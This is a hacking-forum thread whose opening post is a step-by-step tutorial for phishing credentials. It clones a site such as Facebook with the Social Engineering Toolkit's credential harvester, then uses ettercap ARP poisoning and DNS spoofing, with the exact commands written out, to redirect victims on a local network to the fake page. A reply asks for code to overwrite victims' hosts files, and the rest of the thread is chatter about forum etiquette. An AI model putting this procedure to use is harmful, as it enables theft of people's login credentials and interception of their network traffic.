[Crypt]

Hi guys,
This is my second tutorial. Hope y'all like it.

This tutorial is split into two parts. I'll start with the site cloning.

First and foremost, you need to know what your IP address is. So if you don't, go onto ifconfig and find out.

We will be using these tools:
Backtrack 5 terminal (preferably R3)
SET (Social Engineering Toolkit)

Here we go:

1. Open up SET (Social Engineering Toolkit)

2. Type '1' and enter for 'Social-Engineering Attacks'

3. Type '2' and enter for 'Website Attack Vectors'

4. Type '3' and enter for 'Credential Harvester Attack Method'

5. Type '2' and enter for 'Site Cloner'

6. You will be asked for your machine’s internal IP address (eg. 192.168.1.13). Type it in and enter.
(If you don’t know it, open another terminal window and type in “ifconfig” without the quotes. Somewhere around there it should say inet addr: your internal ip here)

7. You will then be asked to enter the URL to clone. Type in 'www.facebook.com' or whatever you want to clone and enter.

You should now have cloned whatever site you typed in, so if you type in your IP address in your URL bar, you should get to your fake website. But who's going to visit your random ip address and then login. Nobody.

Don't worry. There is a solution. It's called DNS Spoofing and basically intercepts your request for a website and acts like the DNS server and gives it.. Your IP.. Devilish

1. Go to the terminal and type

Quote:locate etter.dns

2. You'll get this ->

Quote:/usr/local/share/ettercap/etter.dns

3. Type in

Quote:gedit /usr/local/share/ettercap/etter.dns

4. Remove everything and type in:

Quote:whateversiteyouwantredirected.com A *YourInternalIpAddressGoesHere*
http://whateversiteyouwantredirected.com A *YourInternalIpAddressGoesHere*

[Image: Untitled7.png]
5. Now in terminal, type in the following to start the dns_spoofing
If you're using a wireless connection, WLAN, type,

Quote:ettercap -Tqi wlan0 -P dns_spoof -M ARP // //

If you're using a wired connection, LAN, type

Quote:ettercap -Tqi eth0 -P dns_spoof -M ARP // //


Now sit back and keep your SET terminal open (don't close the ettercap one either), and watch the login details come in.


Feel free to post any questions and comments. That would be much appreciated.

Thanks for reading

[BreShiE]

God this is hilarious. So, Crypt, exactly what type of login details would this be bringing in?

[Crypt]

God this is hilarious. So, Crypt, exactly what type of login details would this be bringing in?

It captures POST requests that are sent on the copied website. It's been tested several times and it works, but the only thing I sometimes have trouble with is the DNS Spoofing.

[SLIMER]

Hey yo crypt perhaps you can help a brotha out as i havent seen anything about it in this forum or really anywhere for that matter....Im trying to learn some kind of code whether it be java script, php, or whatever which will allow me to replace the hosts file for victims dns. I figure replacing it with the same exact name would force the original one out instead of trying to delete string from the file then insert text seems less likely to happen without fucking up somewhere anyone???

[MiS]

@SLIMER Wow, you really gravedug this post. You ought to PM him if you want to ask him directly about that. Also, please read the rules - bumping a thread over half a year old isn't great forum etiquette.

[Mom]

@SLIMER Do not gravedig. You should know this.

@MiS That shouldn't even be a rule, it's just plain common sense.

[Equinox]

@SLIMER Wow, you really gravedug this post. You ought to PM him if you want to ask him directly about that. Also, please read the rules - bumping a thread over half a year old isn't great forum etiquette.

Glad to see you read the rules. Most don't, though they are told to by a lot of members in their introduction thread. In any case, I don't think PMing the OP would be sufficient, seeing as most 90% of the time (rough [very rough] estimation), the OP of gravedug threads has disappeared for all eternity it seems.

---

Nevermind, Crypt is still very active. Suppose it's good to take note on that, though.

[SLIMER]

my bad i have a bad habbit of completely over looking dates of threads....ill stay on it from now on

[MiS]

my bad i have a bad habbit of completely over looking dates of threads....ill stay on it from now on

Great! As long as you adhere to the help and rules page, there should't be any problems.

In lieu of your introduction thread - welcome to Sinisterly.

[Losi]

Hey, off topic but you spelled "credintials" wrong. It's credentials. Just to let you know.